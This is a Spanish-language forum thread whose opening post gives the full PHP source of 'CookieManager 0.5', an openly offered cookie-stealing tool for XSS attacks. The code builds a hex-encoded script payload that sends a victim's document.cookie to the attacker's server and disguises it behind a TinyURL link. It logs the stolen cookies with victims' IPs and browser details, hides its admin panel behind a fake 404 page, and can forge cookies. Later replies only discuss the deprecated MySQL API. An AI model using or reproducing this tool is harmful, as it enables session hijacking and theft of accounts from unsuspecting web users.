[PHP] CookieManager 0.5

Iniciado por BigBear, 6 Febrero 2015, 17:46 PM

0 Miembros y 1 Visitante están viendo este tema.

BigBear

Un simple programa en PHP para ayudar con la vulnerabilidad XSS , en este programa tienen las siguientes opciones :

  • Cookie Stealer con generador de TinyURL
  • Pueden ver los cookies que les devuelve una pagina
  • Pueden crear cookies con los datos que quieran
  • Panel oculto con login para entrar usen ?poraca para encontrar al login

    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=AP-2bkeFjpc[/youtube]

    El codigo :

    Código (php) [Seleccionar]

    <?php

    // CookieManager 0.5
    // (C) Doddy Hackman 2015

    //Datos para el login

    $username "admin";
    $password "21232f297a57a5a743894a0e4a801fc3"//admin

    //

    //Datos para la DB

    $host  "localhost";
    $userw "root";
    $passw "";
    $db    "cookies";

    //


    // Functions

    function hex_encode($text)
    {
        
    $texto chunk_split(bin2hex($text), 2'%');
        return 
    $texto '%' substr($texto0strlen($texto) - 1);
    }

    function 
    parsear_cookie($leyendo)
    {
        
        
    $leyendo   str_replace("comment="""$leyendo);
        
    $leyendo   str_replace("Set-Cookie: """$leyendo);
        
    $contenido explode(";"$leyendo);
        
        
    $nombre       "";
        
    $valor_cookie "";
        
    $expires      "";
        
    $path         "";
        
    $domain       "";
        
    $secure       "false";
        
    $httponly     "false";
        
        foreach (
    $contenido as $valor) {
            
            if (
    preg_match("/expires=(.*)/"$valor$regex)) {
                
    $expires $regex[1];
            }
            
            elseif (
    preg_match("/path=(.*)/"$valor$regex)) {
                
    $path $regex[1];
            } elseif (
    preg_match("/domain=(.*)/"$valor$regex)) {
                
    $domain $regex[1];
            } elseif (
    preg_match("/secure=(.*)/"$valor$regex)) {
                
    $secure $regex[1];
            } elseif (
    preg_match("/httponly=(.*)/"$valor$regex)) {
                
    $httponly $regex[1];
            }
            
            else {
                
                if (
    preg_match("/(.*)=(.*)/"$valor$regex)) {
                    
    $nombre       $regex[1];
                    
    $valor_cookie $regex[2];
                }
                
            }
            
        }
        
        return array(
            
    $nombre,
            
    $valor_cookie,
            
    $expires,
            
    $path,
            
    $domain,
            
    $secure,
            
    $httponly
        
    );
        
    }

    function 
    ver_cookies_de_pagina($pagina)
    {
        
    $cookies "";
        if (!
    function_exists('curl_exec')) {
            
    $options = array(
                
    'http' => array(
                    
    'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
                
    )
            );
            
    $context stream_context_create($options);
            
    file_get_contents($pagina);
            foreach (
    $http_response_header as $valores) {
                if (
    preg_match("/Set-Cookie/"$valores)) {
                    
    $valores str_replace("Set-Cookie:"""$valores);
                    
    $cookies $cookies $valores "<br>";
                }
            }
        } else {
            
    $nave curl_init($pagina);
            
    curl_setopt($naveCURLOPT_TIMEOUT5);
            
    curl_setopt($naveCURLOPT_RETURNTRANSFER1);
            
    curl_setopt($naveCURLOPT_USERAGENT"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
            
    curl_setopt($naveCURLOPT_HEADER1);
            
    curl_setopt($naveCURLOPT_NOBODY1);
            
    $contenido curl_exec($nave);
            
    curl_close($nave);
            
    $leyendo explode("\n"trim($contenido));
            
            foreach (
    $leyendo as $valores) {
                if (
    preg_match("/Set-Cookie/"$valores)) {
                    
    $valores str_replace("Set-Cookie:"""$valores);
                    
    $cookies $cookies $valores "<br>";
                }
            }
        }
        return 
    $cookies;
    }

    function 
    toma($target)
    {
        
    $code "";
        if (
    function_exists('curl_exec')) {
            
    $nave curl_init($target);
            
    curl_setopt($naveCURLOPT_USERAGENT'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0');
            
    curl_setopt($naveCURLOPT_TIMEOUT5);
            
    curl_setopt($naveCURLOPT_RETURNTRANSFERtrue);
            
    $code curl_exec($nave);
        } else {
            
    $options = array(
                
    'http' => array(
                    
    'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
                
    )
            );
            
    $context stream_context_create($options);
            
    $code    file_get_contents($target);
        }
        return 
    $code;
    }

    //

    error_reporting(0);

    mysql_connect($host$userw$passw);
    mysql_select_db($db);

    if (isset(
    $_GET['id'])) {
        
        if (empty(
    $_GET['id'])) {
            
    error();
        }
        
        
    $dia mysql_real_escape_string(date("d.m.Y"));
        
    $ip  mysql_real_escape_string($_SERVER["REMOTE_ADDR"]);
        
        if (
    $ip == "::1") {
            
    $ip "127.0.0.1";
        }
        
        
    $info mysql_real_escape_string($_SERVER["HTTP_USER_AGENT"]);
        
    $ref  mysql_real_escape_string($_SERVER["HTTP_REFERER"]);
        
        
    $cookie mysql_real_escape_string($_GET['id']);
        
        
    mysql_query("INSERT INTO todo(id,fecha,ip,info,cookie) values(NULL,'$dia','$ip','$info','$cookie')");
        
        
    header("Location:http://www.google.com.ar");
        
    }

    elseif (isset(
    $_COOKIE['portal'])) {
        
        
    $st base64_decode($_COOKIE['portal']);
        
        
    $plit explode("@"$st);
        
    $user $plit[0];
        
    $pass $plit[1];
        
        if (
    $user == $username and $pass == $password) {
            
            if (isset(
    $_POST['makecookies'])) {
                
    //setcookie($_POST['name_cookie'],$_POST['value_cookie'],$_POST['expire_cookie'],$_POST['path_cookie'],$_POST['domain_cookie'],$_POST['secure_cookie'],$_POST['httponline_cookie'])) {
                
                
    if (setcookie($_POST['name_cookie'], $_POST['value_cookie'], time() + 7200$_POST['path_cookie'], $_POST['domain_cookie'])) {
                    echo 
    "<script>alert('Cookies Maked');</script>";
                } else {
                    echo 
    "<script>alert('Error making Cookie');</script>";
                }
            }
            
            echo 
    "<title>CookieManager 0.3</title>";
            
            echo 
    "<STYLE type=text/css>

    body,a:link {
    background-color: #000000;
    color:orange;
    Courier New;
    cursor:crosshair;
    font-size: small;
    }

    input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
    font: normal 10px Verdana, Arial, Helvetica,
    sans-serif;
    background-color:black;
    color:orange; 
    border: solid 1px orange;
    border-color:orange
    }

    a:link,a:visited,a:active {
    color: orange;
    font: normal 10px Verdana, Arial, Helvetica,
    sans-serif;
    text-decoration: none;
    }

    </style>
    "
    ;
            
            
    $edit_name       "";
            
    $edit_value      "";
            
    $edit_expire     "";
            
    $edit_path       "";
            
    $edit_domain     "";
            
    $edit_secure     "";
            
    $edit_httponline "";
            
            if (isset(
    $_POST['instalar'])) {
                
                
    $todo "create table todo (
    id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
    fecha TEXT NOT NULL,
    ip TEXT NOT NULL,
    info TEXT NOT NULL,
    cookie TEXT NOT NULL,
    PRIMARY KEY (id));
    "
    ;
                
                if (
    mysql_query($todo)) {
                    echo 
    "<script>alert('Installed');</script>";
                } else {
                    echo 
    "<script>alert('Error');</script>";
                }
            }
            
            if (
    mysql_num_rows(mysql_query("show tables like 'todo'"))) {
                
                
    //
                
                
    if (isset($_GET['del'])) {
                    if (
    is_numeric($_GET['del'])) {
                        if (@
    mysql_query("delete from todo where id='" $_GET['del'] . "'")) {
                            echo 
    "<script>alert('Deleted');</script>";
                        } else {
                            echo 
    "<script>alert('Error');</script>";
                        }
                    }
                }
                
                echo 
    "<center>";
                echo 
    "<br><h1>CookieManager</h1><br>";
                
                
                
    // Cookies Found
                
                
                
    $re  mysql_query("select * from todo order by id ASC");
                
    $con mysql_num_rows($re);
                
                if (
    $con == 0) {
                    echo 
    "<script>alert('Cookies not found');</script>";
                } else {
                    
                    echo 
    "<table border=1 width=1100><td width=1100><center><h2>Cookies Found : $con</h2></center></table>";
                    echo 
    "<table border=1 width=1100>";
                    echo 
    "<td><b>ID</b></td><td><b>Date</b></td><td><b>IP</b></td><td><b>Data</b></td><td><b>Cookie</b></td><td><b>Name</b></td><td><b>Value</b></td><td><b>Option</b></td><tr>";
                    
                    while (
    $ver mysql_fetch_array($re)) {
                        
    $cookies_view $ver[4];
                        list(
    $nombre$valor_cookie$expires$path$domain$secure$httponly) = parsear_cookie($cookies_view);
                        
                        echo 
    "<td>" htmlentities($ver[0]) . "</td><td>" htmlentities($ver[1]) . "</td><td>" htmlentities($ver[2]) . "</td><td>" htmlentities($ver[3]) . "</td>";
                        echo 
    "<td>" htmlentities($cookies_view) . "</td><td>" htmlentities($nombre) . "</td><td>" htmlentities($valor_cookie) . "</td><td><a href=?del=" htmlentities($ver[0]) . ">Del</a></td><tr>";
                        
                    }
                    
                    echo 
    "</table>";
                    
                }
                
                
    //
                
                // Form para target
                
                
    echo "
    <form action='' method=POST>
    <center><br><table border=1>
    <td><center><h2>Enter Target</h2></center></td><tr>
    <td><input type=text size=50 name=target value='http://localhost/dhlabs/xss/index.php?msg='=></td><tr>
    <td><input type=submit name=getcookies style='height: 25px; width: 100px' value='Get Cookies'><input type=submit name=generateurl style='height: 25px; width: 100px' value=Generate URL></td>
    </table></center>
    </form>

    "
    ;
                
                
    // URLS
                
                
    if (isset($_POST['generateurl'])) {
                    echo 
    "<br><table border=1>
    <td><center><h2>URL Generated</h2></center></td><tr>
    <td><textarea cols=50 name=code readonly>\n"
    ;
                    
    $script         hex_encode("<script>document.location='http://" $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?id='+document.cookie;</script>");
                    
    //echo "http://tinyurl.com/api-create.php?url=".$_POST['target'].$script."\n";
                    
    $resultado_code toma("http://tinyurl.com/api-create.php?url=" $_POST['target'] . $script);
                    echo 
    htmlentities($resultado_code);
                    echo 
    "\n</textarea></td></table>";
                }
                
    //
                
                // Get Cookies 
                
                
    if (isset($_POST['getcookies'])) {
                    echo 
    "<br><table border=1>
    <td><center><h2>Console</h2></center></td><tr>
    <td><textarea cols=50 rows=10 name=code readonly>\n"
    ;
                    
    $resultado_code ver_cookies_de_pagina($_POST['target']);
                    echo 
    htmlentities($resultado_code);
                    echo 
    "\n</textarea></td></table>";
                    
                    
    $leyendo_esto split("\n"$resultado_code);
                    
                    list(
    $nombre$valor_cookie$expires$path$domain$secure$httponly) = parsear_cookie($leyendo_esto[0]);
                    
                    
    $edit_name       $nombre;
                    
    $edit_value      $valor_cookie;
                    
    $edit_expire     $expires;
                    
    $edit_path       $path;
                    
    $edit_domain     $domain;
                    
    $edit_secure     $secure;
                    
    $edit_httponline $httponly;
                    
                }
                
                
    //
                
                // Form para crear cookies
                
                
    echo "
    <form action='' method=POST>
    <center><br><table border=1>
    <td><center><h2>Cookies Maker</h2></center></td><tr>
    <td>Name : <input type=text size=50 name=name_cookie value='
    $edit_name'=></td><tr>
    <td>Value : <input type=text size=50 name=value_cookie value='
    $edit_value'=></td><tr>
    <td>Expires : <input type=text size=50 name=expire_cookie value='
    $edit_expire'=></td><tr>
    <td>Path : <input type=text size=50 name=path_cookie value='
    $edit_path'=></td><tr>
    <td>Domain : <input type=text size=50 name=domain_cookie value='
    $edit_domain'=></td><tr>
    <td>Secure : <input type=text size=50 name=secure_cookie value='
    $edit_secure'=></td><tr>
    <td>HTTP Online : <input type=text size=50 name=httponline_cookie value='
    $edit_httponline'=></td><tr>
    <td><input type=submit name=makecookies style='height: 25px; width: 100px' value='Make Cookies'></td>
    </table></center>
    </form>"
    ;
                
                
    //
                
                //
                
                
    echo "<br><h1>(C) Doddy Hackman 2015</h1><br><br>";
                
                
    //
                
            
    } else {
                echo 
    "
    <center><br><br>
    <form action='' method=POST>
    <h2>Deseas instalar CookieManager ?</h2><br><br>
    <input type=submit name=instalar value=Instalar>
    </form>"
    ;
            }
            exit(
    1);
        }
    } elseif (isset(
    $_POST['login'])) {
        if (
    $_POST['user'] == $username and md5($_POST['password']) == $password) {
            
    setcookie("portal"base64_encode($_POST['user'] . "@" md5($_POST['password'])));
            echo 
    "<script>alert('Welcome idiot');</script>";
            echo 
    '<meta http-equiv="refresh" content=0;URL=>';
        } else {
            echo 
    "<script>alert('Continued to participate');</script>";
        }
    } elseif (isset(
    $_GET['poraca'])) {
        
        echo 
    "

    <STYLE type='text/css'>

    body,input {
    background-color: #000000;
    color:orange;
    font-family:
    Courier New;
    cursor:crosshair;
    font-size: small;
    }
    </style>

    <h1><br><center><font color=green>Login</font></center></h1>
    <br><br><center>
    <form action='' method=POST>
    Username : <input type=text name=user><br>
    Password : <input type=password name=password><br><br>
    <input type=submit name=login value=Enter><br>
    </form>
    </center><br><br>"
    ;
    } else {
        
        
    error();
        
    }

    function 
    error()
    {
        echo 
    '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <html><head>
    <title>404 Not Found</title>
    </head><body>
    <h1>Not Found</h1>
    <p>The requested URL was not found on this server.</p>
    </body></html>'
    ;
        exit(
    1);
    }


    mysql_close();

    // The End ?


    ?>



    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.

#!drvy

Si se permiten criticas para la siguiente version :P


  • No uses mysql_ esta obsoleto. Intenta usar mysqli o PDO.
  • Saca el HTML de PHP.. imprimiendo todo con echo pierdes mucho rendimiento.
  • Intenta no forzar configuraciones. Hazlos aleatorios o a elección del usuario (o mejor aun.. ambas). Por ejemplo el user-agent.

Saludos

BigBear

#2
ok , gracias por las sugerencias.

PD:  la siguiente version hace tiempo que esta terminada donde cambie totalmente el diseño y fixee los 30 XSS que tiene esta version xD.

ElP4nd4N3gro

Qué bueno! sigue así.

De obsoleta MySQL nada.. si aún hay empresas en españa que programan en cobol xD
Como el baile entre caronte y plutón

#!drvy

CitarDe obsoleta MySQL nada.. si aún hay empresas en españa que programan en cobol xD

Me referia a la API...

Cita de: http://php.net/manual/en/function.mysql-connect.phpWarning - This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used.

PD: El hecho de que las empresas usen un dado lenguaje/programa/driver/SO no quiere decir que este no este obsoleto.

Saludos

ElP4nd4N3gro

Cita de: #!drvy en 12 Febrero 2015, 01:08 AM
Me referia a la API...

PD: El hecho de que las empresas usen un dado lenguaje/programa/driver/SO no quiere decir que este no este obsoleto.

Saludos

Por su puesto que no, no quería decir eso. Solo qué dado el poco interés por la seguridad en muchas empresas junto con el alto coste a todos los niveles de las migraciones a sistemas actuales, estos mientras sigan funcionando se suelen dejar cómo están.

y lo que en teoría se queda viejo en la vida real sigue siendo el día a día. no sé si me explico.. bueno un saludo!!
Como el baile entre caronte y plutón

engel lex

Cita de: ElP4nd4N3gro en 12 Febrero 2015, 02:05 AM
Por su puesto que no, no quería decir eso. Solo qué dado el poco interés por la seguridad en muchas empresas junto con el alto coste a todos los niveles de las migraciones a sistemas actuales, estos mientras sigan funcionando se suelen dejar cómo están.

y lo que en teoría se queda viejo en la vida real sigue siendo el día a día. no sé si me explico.. bueno un saludo!!

en un proyecto activo, si es obsoleta o no, no lo dicen los usuarios, lo dicen los desarrolladores...

http://php.net/manual/en/function.mysql-connect.php

lee el gran aviso rojo... en 5.5.0 será removido...
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.